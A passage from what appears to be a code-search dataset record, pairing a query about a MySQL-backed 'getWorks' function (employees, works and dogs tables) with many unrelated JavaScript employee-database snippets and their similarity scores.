Employee($('#firstName').val(), $('#lastName').val(), $('#idNum').val(), $('#job').val(), $('#annSal').val());\n // clear input fields\n $('#firstName').val('');\n $('#lastName').val('');\n $('#idNum').val('');\n $('#job').val('');\n $('#annSal').val('');\n} //END createEmp function", "function addArticle(data,where) {\n data.forEach(function (entry) {\n $(where).append('<option value= \"' + entry.id + '\">' + entry.name + ' at ' + entry.address.city + '</option>');\n });\n}", "function viewEmployees() {\n var query = \"Select employee.id, employee.first_name, employee.last_name, erole.title, manager_id from employee join erole on employee.role_id = erole.id\";\n connection.query(query, function(err, res) {\n employeesarray = [];\n for (let i = 0; i < res.length; i++) {\n employeeobj = { ID: res[i].id, First_Name: res[i].first_name, Last_Name: res[i].last_name, Role: res[i].title, Manager_ID: res[i].manager_id }\n employeesarray.push(employeeobj);\n }\n console.log(\"\");\n console.table(employeesarray);\n console.log(\"\");\n\n mainMenu();\n });\n}", "function viewAllEmployees() {\n const sql = `\n SELECT \n employee.id AS ID,\n employee.first_name AS FirstName, \n employee.last_name AS LastName, \n role.title AS Title, \n role.salary AS Salary, \n department.name AS Department, \n CONCAT(manager.first_name, \" \", manager.last_name) AS Manager\n FROM employee\n LEFT JOIN role \n ON employee.role_id = role.id\n LEFT JOIN department \n ON role.department_id = department.id\n LEFT JOIN employee AS manager\n ON employee.manager_id = manager.id\n ORDER BY employee.id;`\n db.query(sql, (err, response) => {\n if (err) {\n throw(err);\n return;\n }\n console.log(``);\n console.log(chalk.white.bold(`============================================================================================================`));\n console.log(` ` +chalk.white.bold(` Employees `));\n console.log(chalk.white.bold(`============================================================================================================`));\n console.table(response);\n console.log(chalk.white.bold(`============================================================================================================`));\n });\n init();\n}", "function seeEmployees(){\n \n db.viewAllEmployees().then( ([res]) => {\n console.table(res)\n loadMainPrompt();\n }) \n}", "readAllEmployees() {\r\n return this.connection.query(\r\n \"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department on role.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;\"\r\n );\r\n }", "async function getEmployeeNamesAndValues() {\n const sql = `SELECT * FROM employee`;\n return new Promise((resolve, reject) => {\n return connection.query(sql, (err, row) => {\n if (err) {\n console.log(`Error: ${err}`);\n return reject(err);\n }\n // Method was shown during office hours. before this, was using subqueries every time. this is much better\n const empArr = row.map(emp => {\n const empChoice = {name: (emp.first_name + ' ' + emp.last_name), value: emp.id};\n return empChoice;\n });\n resolve(empArr);\n });\n })\n}", "function addEmployee() {\n\n let departmentName = $('#addEmployeeDepartment').val()\n\n $.getJSON(`libs/php/getAllDepartments.php`, function (departments) {\n let departmentID = departments.data.filter(dep => dep.name == departmentName)[0].id\n\n $.ajax({\n data: {\n 'firstName': $('#addEmployeeFirstName').val(),\n 'lastName': $('#addEmployeeLastName').val(),\n 'jobTitle': $('#addEmployeeJobTitle').val(),\n 'email': $('#addEmployeeEmail').val(),\n 'departmentID': departmentID\n },\n url: 'libs/php/insertEmployee.php', \n dataType: 'json',\n success: function(data) {\n \n clearTable()\n\n $('#addEmployeeFirstName').val(\"\")\n $('#addEmployeeLastName').val(\"\")\n $('#addEmployeeJobTitle').val(\"\")\n $('#addEmployeeEmail').val(\"\")\n $('#addEmployeeDepartment').find('option:eq(0)').prop('selected', true);\n\n $.when($.ajax(\n buildTable()\n )).then(function () {\n editModeOn()\n });\n\n \n }\n })\n\n })\n \n}", "function queryEmployeeInfo() {\n employeeInfo = {};\n var employeeSearch = search.create({\n type: search.Type.EMPLOYEE,\n filters: [\n helper.filter('giveaccess').is('T'),\n helper.filter('isinactive').is('F')\n ],\n columns: [\n helper.column('firstname').create(),\n helper.column('middlename').create(),\n helper.column('lastname').create()\n ]\n });\n var results = helper.resultset(employeeSearch.run());\n for ( var index in results) {\n var result = results[index];\n employeeInfo[result.id] = formatUserName(result.getValue(helper.column('firstname')), result.getValue(helper.column('middlename')), result.getValue(helper.column('lastname')));\n }\n }", "function insertNewEmployee() {\n connection.query (\n // Insert the new departmenet\n `INSERT INTO employee_table (\n employee_firstname,\n employee_lastname,\n role_id,\n manager_id\n ) VALUES\n (\"${newEmployeeFirstName}\", \"${newEmployeeLastName}\", ${newEmployeeRoleID}, 1);` // Come back to manager id when its more clear how this works from the demo. hardcoding to arty B.\n ,\n // Log the result\n (err, res) => {\n // If error log error\n if (err) throw err;\n // Otherwise give a success message to the user\n console.log(`\\nYou have added ${newEmployeeFirstName} ${newEmployeeLastName} to the employee database!\\n`);\n // Then call the view All function so they can see the results of their added employee reflected in the table\n viewAll();\n }\n )\n }", "getAllEmployeeName(){\n \n //return this.name\n //mysql command\n //select first_name & last_name from employee\n connection.query(\"select * from department RIGHT JOIN role ON role.department_id LEFT JOIN employee ON employee.id\", function(err, res) {\n if (err) throw err;\n \n // Log all results of the SELECT statement\n console.table(res);\n connection.end();\n });\n }", "function employeesDepartment() {\n connection.query(\"SELECT * FROM employeeTracker_db.department\",\n function (err, res) {\n if (err) throw err\n console.table(res)\n runSearch()\n }\n )\n}", "function getEmployees() {\n var employeeList = new XMLHttpRequest();\n employeeList.onload = function() {\n rawEmployeeData = (this.responseText).split(\"<newrecord>\");\n for (i = 0; i < rawEmployeeData.length - 1; i++) {\n each = rawEmployeeData[i].split(\"/\");\n employeeData.push({\n id: each[0],\n f_name: each[1],\n l_name: each[2],\n phone1: each[3]\n });\n }\n }\n employeeList.open(\"get\", \"php/get/get-emps.php\", false);\n employeeList.send();\n}", "function submitName() {\n var firstName = document.getElementById(\"userFirstName\").value;\n var lastName = document.getElementById(\"userLastName\").value;\n\n firstName = firstName.trim();\n lastName =lastName.trim();\n\n if(firstName == \"\" || lastName == \"\"){\n alert(\"Invalid Name\")\n return;\n }\n\n console.log(\"second print all\");\n masterUser.printAll();\n var person = new attendee(lastName,firstName);\n masterUser.add(person);\n var arr = userArray(masterUser);\n writeData(arr, 2, \"masterUser\");\n\n populateUserSelect(\"userName\");\n\n\n}", "function displayAllEmployees() {\n let query = \"SELECT * FROM employee \";\n connection.query(query, (err, res) => {\n if (err) throw err;\n\n console.log(\"\\n\\n ** Full Employee list ** \\n\");\n console.table(res);\n });\n}", "function getEmpData() {\n var empId = document.getElementById('empIdInput').value;\n document.getElementById(\"empIdInput\").readOnly = true;\n console.log(empId);\n $.ajax({\n type: 'GET',\n url: '/api/employees/' + empId,\n data: {\n 'empId': empId\n },\n complete: function (r) {\n var JsonRes = JSON.parse(r.responseText);\n document.getElementById('empName').value = JsonRes.employeeName;\n document.getElementById(\"empName\").readOnly = true;\n for (var i = 0; i < JsonRes.recordTypes.length; i++) {\n\n var sel = document.getElementById('record_type');\n\n var opt = document.createElement('option');\n opt.appendChild(document.createTextNode(JsonRes.recordTypes[i]));\n opt.value = JsonRes.recordTypes[i];\n sel.appendChild(opt);\n }\n element_form = document.querySelector('.update-form'); \n element_form.style.visibility = 'visible'; \n element = document.querySelector('.submit_empIdBtn'); \n element.style.visibility = 'hidden'; \n element.parentNode.removeChild(element)\n console.log(JsonRes.recordTypes);\n }\n });\n}", "function BindEmployeeID() { \n $.ajax({\n type: \"POST\",\n url: \"GSTRegistartionList.aspx/BindEmployeeID\",\n data: '{}',\n contentType: \"application/json; charset=utf-8\",\n dataType: \"json\",\n success: function (r) {\n console.log(r);\n var dept = $(\".EmployeeID\");\n dept.empty().append('<option selected=\"selected\" value=\"0\">--Select--</option>');\n $.each(r.d, function (key, value) {\n dept.append($(\"<option></option>\").val(value.EmployeeID).text(value.EmployeeID));\n });\n }\n });\n }", "addEmployee(results) {\n return connection.query(`INSERT INTO employee SET ?`,\n {\n first_name: results.firstName,\n last_name: results.lastName,\n role_id: results.roleId,\n manager_id: results.managerId\n }\n )\n }", "function create_entity_list_form() {\n var str_array = [];\n str_array.push(\"<form name='entities'>\");\n str_array.push(\"<select name='entity' onchange='update_entity_select(this.options[this.selectedIndex].value);'>\");\n for(var ent in Domain.entities) {\n var sel = \"\";\n if(ent == \"User\") {\n sel = \"selected\";\n }\n str_array.push(\"<option value='\" + ent + \"' \" + sel + \">\" + ent + \"</option>\");\n }\n str_array.push(\"</select>\");\n str_array.push(\"</form>\");\n return str_array.join(\"\\n\");\n}", "function enterData() {\n if (hourlyOption.checked) {\n let emp = HourlyEmployee(name.value, title.value);\n emp.setHourlyRate(hourlyRate.value);\n emp.setHoursWorked(hours.value);\n employees.push(emp);\n clearFields();\n } else if (salaryOption.checked) {\n let emp = SalariedEmployee(name.value, title.value);\n emp.setSalary(salary.value);\n employees.push(emp);\n clearFields();\n } else {\n let emp = CommissionedEmployee(name.value, title.value);\n emp.setBaseSalary(parseFloat(baseSalary.value));\n emp.setCommissionRate(parseFloat(commissionRate.value));\n emp.setSalesVolume(parseFloat(sales.value));\n employees.push(emp);\n clearFields();\n }\n numRecords++;\n numberRecords.innerHTML = \"The number of records entered is: \" + numRecords;\n }", "viewEmployees() {\n return this.connection.query(\n 'SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS Department, role.salary, CONCAT(manager.first_name, \" \", manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department on role.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;'\n);\n}", "populateEdificiNames() {\n services_1.Services.getAllBuildings().then(edificiResponse => {\n $.each(edificiResponse, (key, item) => {\n if (item.Stato === \"Disponibile\") {\n $('#selectEdificio').append(`<option name = \"${item.Nome}\" value = \"${item.ID_Edificio}\"> ${item.Nome}</option>`);\n }\n });\n });\n }", "viewAllEmployeesByDept() {\n return `SELECT employee.id, employee.first_name, employee.last_name, role.title, dept.name AS department, \n role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee \n LEFT JOIN role on employee.role_id = role.id \n LEFT JOIN department dept on role.department_id = dept.id \n LEFT JOIN employee manager on manager.id = employee.manager_id\n WHERE dept.name = ?`;\n}", "function getSingleEmployee(res,mysql,context,Emp_ID,complete){\r\n\t\tvar sql = \"SELECT Emp_ID, Emp_Name, Store_ID, Emp_Phone_Number, Emp_Address_Street, Emp_Address_Zip FROM Employees WHERE Emp_ID = ?\" ;\r\n\t\tvar inserts = [Emp_ID];\r\n\r\n\t\tmysql.pool.query(sql,inserts,(error,results,fields)=>{\r\n\t\t\tif(error){\r\n\t\t\t\tres.write(JSON.stringify(error));\r\n\t\t\t\tres.end();\r\n\t\t\t}\r\n\t\t\tcontext.employee = results[0];\r\n\t\t\tcomplete();\r\n\t\t});\r\n\t}", "function employeeSearch() {\n db.query(`SELECT\n employees.id,\n employees.first_name,\n employees.last_name,\n roles.title AS role,\n roles.salary,\n departments.title AS department,\n CONCAT(managers.first_name, ' ', managers.last_name) AS manager\nFROM\n employees\n LEFT JOIN roles ON role_id = roles.id\n LEFT JOIN departments ON department_id = departments.id\n LEFT JOIN managers ON manager_id = managers.id;`,\n (err, res) => {\n if (err) throw err\n console.table(res)\n employeeFilter()\n }\n )\n}", "function showAllEmployees() {\n let sql = \"SELECT * FROM employees\";\n let query = db.query(sql, (err, results) => {\n if (err) throw err;\n console.table(results);\n }\n\n );\n}", "function viewEmployees() {\n connection.query(\"SELECT * FROM employee\", function(error, results) {\n if (error) throw error;\n\n // This shows the results in a nice table in the CLI\n console.table(results);\n\n // Goes back to the main menu.\n start();\n })\n}" ]
[ "0.67487514", "0.6672375", "0.6475695", "0.6470965", "0.64707947", "0.64186245", "0.63015324", "0.62773407", "0.62702686", "0.6264836", "0.62403744", "0.62344176", "0.62316585", "0.6227535", "0.6202601", "0.6192777", "0.6181939", "0.61631566", "0.61555016", "0.6142642", "0.6139542", "0.6135867", "0.6116398", "0.61158884", "0.6104", "0.6103211", "0.60943824", "0.6088928", "0.608864", "0.60692674", "0.6058623", "0.6055761", "0.6036107", "0.60355216", "0.603089", "0.6024183", "0.60060525", "0.6004486", "0.6003163", "0.59981906", "0.5984192", "0.5982599", "0.5979097", "0.5974331", "0.5965243", "0.5963367", "0.59400743", "0.5925674", "0.59231454", "0.5921299", "0.5913167", "0.5911806", "0.5911451", "0.59058684", "0.59048206", "0.5893693", "0.58936554", "0.58931965", "0.5891284", "0.5888925", "0.58881044", "0.58826256", "0.5880988", "0.5869418", "0.5868686", "0.5864886", "0.5858434", "0.58551174", "0.5854418", "0.58526945", "0.58509016", "0.584955", "0.5844866", "0.5836343", "0.5831359", "0.5830291", "0.5823718", "0.5822323", "0.582168", "0.5807496", "0.5804951", "0.5804429", "0.5795386", "0.5790707", "0.57863975", "0.5784269", "0.5783326", "0.5780327", "0.5779462", "0.5773172", "0.5772531", "0.57707995", "0.5769102", "0.57672143", "0.57661587", "0.5761609", "0.57588214", "0.57587296", "0.575236", "0.5749785" ]
0.59770703
43
function to call a mysql query to select all employeedog relations in the works table, inner joins on Employees to get the first and last names, and title, and inner joins on Dogs to get the name of the dogs. Used to populate the Works page of existing relationships.
function getWorks(res, mysql, context, complete) { mysql.pool.query("SELECT Employees.id as eid, fname, lname, title, Dogs.id as did, name FROM Employees INNER JOIN Works ON Employees.id = Works.EmployeeID INNER JOIN Dogs ON Dogs.id = Works.DogID", function (error, results, fields) { if (error) { res.write(JSON.stringify(error)); res.end(); } context.works = results; //define the results as "works" complete(); //call the complete function to increase callbackcount }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getEmployees() {\n var query = `SELECT e.id, e.first_name, e.last_name, r.title Role, d.name AS department , r.salary,\n concat( manager.first_name,\" \",manager.last_name ) Manager\n FROM \n employee e\n left join role r\n on e.role_id = r.id\n left join department d \n on r.department_id = d.id\n left join employee manager on e.manager_id = manager.id;`\n\n connection.query(query, function (err, res) {\n if (err) throw err;\n // Log all results of the SELECT statement\n console.table(res);\n main();\n\n });\n\n}", "function viewEmploys() {\n // function that show all employees mySQL\n var query = `SELECT * FROM ((employee INNER JOIN role ON role.id = employee.role_id) INNER JOIN department ON department.id = role.department_id)`;\n connection.query(query, function (err, res) {\n if (err) throw err;\n console.log(res);\n start();\n });\n}", "function viewEmployees() {\n connection.query(\"SELECT first_name, last_name, department.name, role.title, role.salary FROM ((employee INNER JOIN role ON role_id = role.id) INNER JOIN department ON department_id = department.id);\", function (err, res) {\n if (err) throw err;\n console.log(\"\\n All employees retrieved from database. \\n\");\n console.table(res);\n askQuestions();\n });\n}", "function allEmployees() {\n //Build SQL query\n var query = \"SELECT employees.employee_id, employees.first_name, employees.last_name, roles.title, roles.salary, departments.department_name \";\n query += \"FROM employees LEFT JOIN roles ON employees.role_id = roles.role_id LEFT JOIN departments ON roles.department_id = departments.department_id\";\n connection.query(query, function (err, res) {\n if (err) throw err;\n console.table('Employees', res);\n start();\n });\n}", "function printEmployees() {\n connection.query(\"SELECT employee.first_name, employee.last_name, role.title, role.salary, department.name AS department FROM employee LEFT JOIN role ON employee.role_id = role.id LEFT JOIN department ON role.department_id = department.id\", function (err, res) {\n if (err) throw err;\n // Log all results of the SELECT statement\n console.table(res);\n start();\n });\n}", "function viewAllEmployeesQuery() {\n return `SELECT e.id, e.first_name, e.last_name, r.title, d.name as department, r.salary, \n CONCAT(m.first_name, ' ', m.last_name) as manager FROM employee e \n INNER JOIN role r ON e.role_id = r.id INNER JOIN department d ON r.department_id = d.id \n LEFT JOIN employee m ON e.manager_id = m.id`;\n}", "function displayWork() {\n $(\"#workExperience\").append(HTMLworkStart);\n for (key in work.work){\n if (work.work.hasOwnProperty(key)) {\n var employerHTML = HTMLworkEmployer.replace(\"%data%\", work.work[key].employer);\n $(\".work-entry:last\").append(employerHTML);\n\n var titleHTML = HTMLworkTitle.replace(\"%data%\", work.work[key].title);\n $(\"a:last\").append(titleHTML);\n\n var datesHTML = HTMLworkDates.replace(\"%data%\", work.work[key].dates);\n $(\".work-entry:last\").append(datesHTML);\n\n var locationHTML = HTMLworkLocation.replace(\"%data%\", work.work\n [key].location);\n $(\".work-entry:last\").append(locationHTML);\n\n var descriptionHTML = HTMLworkDescription.replace(\"%data%\", work.work\n [key].description);\n $(\".work-entry:last\").append(descriptionHTML);\n }\n }\n\n}", "function viewEmps() {\n let query = `SELECT e.id AS \"ID\", e.first_name AS \"FIRST NAME\", e.last_name AS \"LAST NAME\", \nr.title AS \"ROLE\", d.name AS \"DEPARTMENT\", r.salary AS \"SALARY\", \n(select concat(emp.first_name,' ',emp.last_name) from employee as emp where e.manager_id = emp.id) AS \"MANAGER\"\nFROM employee e \nLEFT JOIN role r ON e.role_id=r.id\nLEFT JOIN department d ON r.department_id = d.id;`;\n connection.query(query, (err, res) => {\n if (err) throw err;\n printTable(res);\n CMS();\n });\n}", "function viewAllEmployees() {\n //THEN I am presented with a formatted table showing employee data, including employee ids, first names, last names, job titles, departments, salaries, and managers that the employees report to\n // employee.role_id = role.id: checking if the employee.role_id matches the role.id\n // Combine the SELECT and FROM into one string and add that to the query const variable \n // LEFT JOIN add its to the left\n\n const query = `SELECT employee.id, employee.first_name, employee.last_name, role.salary, role.title, department.name AS department, CONCAT(manager.first_name,\" \", manager.last_name) AS manager\n \n FROM employee\n\n LEFT JOIN role ON employee.role_id = role.id\n LEFT JOIN department ON role.department_id = department.id\n LEFT JOIN employee manager ON manager.id = employee.manager_id;\n `\n\n connection.query(query, (err, res) => {\n if (err) throw err;\n console.log(res);\n console.table(res);\n options();\n })\n}", "getBicycles(success) {\n connection.query(\n 'select * from Bicycles inner join HomeLocation on HomeLocation.BicycleID = Bicycles.BicycleID inner join CurrentLocation on CurrentLocation.BicycleID = Bicycles.BicycleID',\n (error, results) => {\n if (error) return console.error(error);\n\n success(results);\n }\n );\n }", "function viewJoined() {\n connection.query(\"SELECT role.title, role.salary, employee.first_name, employee.last_name, manager_id, department.name FROM ((employee_tracker_db.role INNER JOIN employee_tracker_db.employee ON role.id = employee.role_id) INNER JOIN employee_tracker_db.department ON role.department_id = department.id)\", (err, results) => {\n if (err) throw err\n console.table(results)\n action()\n })\n}", "function viewEmployees() {\n var query = \"SELECT CONCAT(employees.first_name, ' ', employees.last_name) as employee_name, roles.title, departments.name, employees.id FROM employees LEFT JOIN roles on employees.role_id = roles.id LEFT JOIN departments ON departments.id = roles.department_id \";\n con.query(query, function(err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(\"\\n\" + \"|| Employee: \" + res[i].employee_name + \"|| Title: \" + res[i].title + \"|| Department: \" + res[i].name + \"|| ID: \" + res[i].id);\n }\n runManager();\n });\n }", "function viewEmployees() {\r\n connection.query(\"SELECT employee.first_name, employee.last_name, role.title, role.salary, department.name, CONCAT(e.first_name, ' ' ,e.last_name) AS Manager FROM employee INNER JOIN role on role.id = employee.role_id INNER JOIN department on department.id = role.department_id left join employee e on employee.manager_id = e.id;\", \r\n function(err, res) {\r\n if (err) throw err\r\n console.table(res)\r\n questions();\r\n })\r\n}", "static async getAllOfThem(){\n const { rows } = await pool.query(\n `SELECT name, type\n FROM animals\n LEFT JOIN species\n ON animals.species_id = species.id`\n );\n return rows;\n }", "function viewEmployees() {\n connection.query(\n \"SELECT employee.id, first_name, last_name, roles.title, department.name AS department, roles.salary FROM employee INNER JOIN roles ON employee.role_id = roles.role_id INNER JOIN department ON roles.department_id = department.department_id\",\n (err, results) => {\n if (err) throw err;\n console.log(\"\\n\");\n console.table(results);\n console.log(\"===============================\");\n console.log(\"\\n \\n \\n \\n \\n \\n \\n\");\n }\n );\n // RETURN TO MAIN LIST\n runTracker();\n}", "function viewEmployees() {\n console.log('~~~~~~~~~~ All Employees ~~~~~~~~~~')\n const query = `SELECT employees.id, employees.first_name as 'first name', employees.last_name as 'last name', \n roles.title, departments.name as department, roles.salary, \n concat(m.first_name, ' ', m.last_name) as manager \n FROM employees \n INNER JOIN roles ON employees.role_id = roles.id\n INNER JOIN departments ON roles.department_id = departments.id \n LEFT JOIN employees m ON m.id = employees.manager_id`;\n\n db.promise().query(query)\n .then((results) => {\n console.table(results[0])\n })\n .catch('error getting the rows')\n .then(() => {\n menu();\n })\n}", "function displayWork() {\n\nfor (job in work.jobs) {\n\t$(\"#workExperience\").append(HTMLworkStart);\n\n\tvar formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\n\n\tvar formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].title);\n\n\tvar formattedEmployerTitle = formattedEmployer + formattedTitle;\n\n\t$(\".work-entry:last\").append(formattedEmployerTitle);\n\n\tvar formattedworkDates = HTMLworkDates.replace (\"%data%\",work.jobs[job].dates);\n\n\tvar formattedworkLocation = HTMLworkLocation.replace (\"%data%\", work.jobs[job].location);\n\n \tvar formattedworkDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n\n \t$(\".work-entry:last\").append(formattedworkDates);\n \t$(\".work-entry:last\").append(formattedworkLocation);\n \t$(\".work-entry:last\").append(formattedworkDescription);\n\n\t}\n}", "function getExperts(res, mysql, context, complete) {\n\t\tvar sql = \"SELECT ExpertID, CONCAT(FirstName, ' ', LastName, ProfilePicture, ProfileEmail, \";\n\t\tsql += \"GithubLink, LinkedinLink, TwitterLink FROM Experts\"\n\t\tfunction setC(results) {\n\t\t\tcontext.expert = results;\n\t\t}\n\t\texecuteQuery(res, sql, 0, mysql, complete, setC);\n\t}", "function get_works(req){\n var q = datastore.createQuery(WORK).limit(5);\n var results = {}; //returned to user\n if(Object.keys(req.query).includes(\"cursor\")){ //If there is a cursor\n q.startVal = (req.query.cursor).replace(/ /g, \"+\"); //Set start of retrieval at cursor in URI format\n }\n // console.log(\"QUERY\");\n // console.log(q);\n\n //Retrieve works from datastore\n return datastore.runQuery(q).then( entities => {\n results.works = entities[0];\n\n //Add next if necessary\n if(entities[1].moreResults !== Datastore.NO_MORE_RESULTS){\n results.next = \"https://\" + req.get(\"host\") + \"/works?cursor=\" + entities[1].endCursor;\n }\n\n //Add ID's and selfLinks\n results.works.map( function(x){\n return addIDandSelfLink(req,x);\n });\n\n //Add total\n return getTotal(results, WORK);\n\n }).catch( errr => {\n console.log(errr);\n return false;\n });\n}", "function employeeSearch() {\n let query = `\n SELECT employee.id, first_name, last_name, title, salary, dep_name, manager_id\n FROM employee\n JOIN roles\n ON role_id = roles.id\n JOIN department\n ON dep_id = department.id;`;\n return connection.query(query, (err, res) => {\n if (err) throw err;\n console.table(res);\n startSearch();\n });\n}", "function displayWork() {\n\nfor(job in work.jobs){\n\n$(\"#workExperience\").append(HTMLworkStart);\n\nvar formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\nvar formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].title);\nvar formattedEmployerTitle = formattedEmployer + formattedTitle;\n$(\".work-entry:last\").append(formattedEmployerTitle);\n\nvar formattedDates = HTMLworkDates.replace(\"%data%\", work.jobs[job].dates);\n$(\".work-entry:last\").append(formattedDates);\n\nvar formattedDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n$(\".work-entry:last\").append(formattedDescription);\n\n};\n\n}", "function employeeSearch() {\n\n connection.query(\"SELECT employee.id, employee.last_name, employee.first_name, role.title, name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department on role.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;\",\n\n function (err, res) {\n if (err) throw err\n console.table(res)\n beginTracker()\n }\n )\n}", "function displayWork(){\n //Evalution of bio.skills and append of skills\n if(bio.skills.lenght != 0){\n $(\"#header\").append(HTMLskillsStart);\n var i= 0;\n while(i<bio.skills.length){\n $(\"#skills\").append(HTMLskills.replace(\"%data%\",bio.skills[i]));\n i++;\n }\n //Evaluation and append of jobs in work (Bucle for with iterator)\n for(job in work.jobs){\n $(\"#workExperience\").append(HTMLworkStart);\n var formattedEmployer = HTMLworkEmployer.replace(\"%data%\",work.jobs[job].employer);\n if ( work.jobs[job].url.length > 5){\n var formattedEmployer = formattedEmployer.replace(\"#\",work.jobs[job].url);\n }\n var formattedTitle = HTMLworkTitle.replace(\"%data%\",work.jobs[job].title);\n var formatEmployerTitle = formattedEmployer+ formattedTitle ;\n $(\".work-entry:last\").append(formatEmployerTitle);\n var formattedDates = HTMLworkDates.replace(\"%data%\",work.jobs[job].dates);\n $(\".work-entry:last\").append(formattedDates);\n var formattedDescription = HTMLworkDescription.replace(\"%data%\",work.jobs[job].description);\n $(\".work-entry:last\").append(formattedDescription);\n\n\n }\n }\n}", "function displayWork() {\n for (job in work.jobs) {\n $(\"#workExperience\").append(HTMLworkStart);\n var formattedEmployer = HTMLworkEmployer.replace(\"%data%\",\n work.jobs[job].employer);\n var formattedTitle = HTMLworkTitle.replace(\"%data%\",\n work.jobs[job].title);\n var formattedEmployerTitle = formattedEmployer + formattedTitle;\n\n $(\".work-entry:last\").append(formattedEmployerTitle);\n\n var formattedDates = HTMLworkDates.replace(\"%data%\",\n work.jobs[job].dates);\n $(\".work-entry:last\").append(formattedDates);\n\n var formattedDescription = HTMLworkDescription.replace(\"%data%\",\n work.jobs[job].description);\n $(\".work-entry:last\").append(formattedDescription);\n }\n}", "function viewEmployees() {\n connection.query(\"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS Manager FROM employee LEFT JOIN employee manager on manager.id = employee.manager_id INNER JOIN role ON (role.id = employee.role_id) INNER JOIN department ON (department.id = role.department_id)\", function(err, res) {\n if(err) throw err;\n console.log(\"Employees:\")\n console.table(res)\n start();\n });\n}", "function viewAllEmployees() {\n const query = \"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.department_name AS department, role.salary FROM employee LEFT JOIN role ON employee.role_id = role.id LEFT JOIN department on role.department_id = department.id\";\n db.query(query, function (err, res) {\n console.table(res);\n startTracker();\n });\n}", "function displayWork() {\n\tfor (job in work.jobs) {\n\t\t//create new div for work experience\n\t\t$(\"workExperience\").append(HTMLworkStart);\n\t\t// concat employer and title\n\t\tvar formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\n\t\tvar formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job])\n\t}\n}", "function viewAllEmployees() {\n connection.query(\n `SELECT e.id, e.first_name, e.last_name, r.title, d.department, r.salary, concat(m.first_name, ' ', m.last_name) AS manager \n FROM employee_tracker_db.employee AS e \n\t\tLEFT JOIN employee_tracker_db.employee AS m ON e.manager_id = m.id \n JOIN employee_tracker_db.role AS r ON e.role_id = r.id\n JOIN employee_tracker_db.department AS d ON r.department_id = d.id;`,\n function(err, res) {\n if (err) throw err;\n console.log(\"\\n\");\n //console.table makes the table in the command line and allEmployees is the array at the top of the page \n console.table(res);\n //go back to inital\n initialQuestion();\n });\n}", "function viewEmployees() {\n let query = \n \"SELECT employee.id, employee.first_name, employee.last_name, person_role.title, person_role.salary, department.dept_name, CONCAT(e.first_name, ' ' ,e.last_name) AS Manager FROM employee INNER JOIN person_role on person_role.id = employee.role_id INNER JOIN department on department.id = person_role.department_id left join employee e on employee.manager_id = e.id;\";\n return connection.query(query, function (err, res) {\n if (err) throw err;\n console.table(res);\n start();\n });\n}", "findAllEmployee() {\n\t\tconst query = `\n\t\tSELECT \n\t\temployee.id,\n (CONCAT(employee.first_name, ' ', employee.last_name)) AS staff_name\n\t\tFROM employee\n\t\t`;\n\t\treturn this.connection.query(query);\n\t}", "function viewAllEmployees() {\n connection.query(\n 'SELECT e.id, e.first_name AS First_Name, e.last_name AS Last_Name, title AS Title, salary AS Salary, name AS Department, CONCAT(m.first_name, \" \", m.last_name) AS Manager FROM employee e LEFT JOIN employee m ON e.manager_id = m.id INNER JOIN role r ON e.role_id = r.id INNER JOIN department d ON r.department_id = d.id',\n function (err, res) {\n if (err) throw err;\n console.table(\"All Employees:\", res);\n init();\n }\n );\n}", "viewEmployees() {\n console.log(`\n\n * Viewing All Employees *\n `)\n connection.query(`SELECT employees.id, employees.first_name, employees.last_name, roles.title AS role, roles.salary AS salary, departments.name AS department, CONCAT(m.first_name, ' ', m.last_name) AS manager FROM employees LEFT JOIN roles ON employees.role_id = roles.id LEFT JOIN departments ON roles.department_id = departments.id LEFT JOIN employees m ON employees.manager_id = m.id;`, function(err, res) {\n if (err) throw err;\n console.table(res);\n beginAgain();\n })\n }", "function getEmployees() {\n const query = 'SELECT CONCAT (employee.first_name, \" \", employee.last_name) as name FROM employee'\n\n connection.query(query, (err, res) => {\n if (err) throw err;\n\n addEmployee(res)\n })\n}", "function displayWork() {\n if (work['jobs'].length > 0) {\n for (job in work.jobs) {\n $(\"#workExperience\").append(HTMLworkStart)\n var formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer)\n var formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].title)\n var formattedEmployerTitle = formattedEmployer + formattedTitle\n var formattedWorkDates = HTMLworkDates.replace(\"%data%\", work.jobs[job].dates)\n var formattedWorkLocation = HTMLworkLocation.replace(\"%data%\", work.jobs[job].location)\n var formattedWorkDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description)\n $(\".work-entry:last\").append(formattedEmployerTitle, formattedWorkDates, formattedWorkLocation, formattedWorkDescription,HTMLaccompstart)\n if (work.jobs[job].accomplishments) {\n if (work.jobs[job].accomplishments.length > 0) {\n for (accomp in work.jobs[job].accomplishments){\n var formattedAccomplishment = HTMLaccomplishment.replace(\"%data%\",work.jobs[job].accomplishments[accomp])\n $('.accomp-start:last').append(formattedAccomplishment)\n };//end for accomp\n };//end if accomp.lenghth\n };//end if accomplishment\n };\n };\n}", "function fetch(request, response, type, err, contents)\n{\n \"use strict\";\n var query = \"SELECT * FROM Book 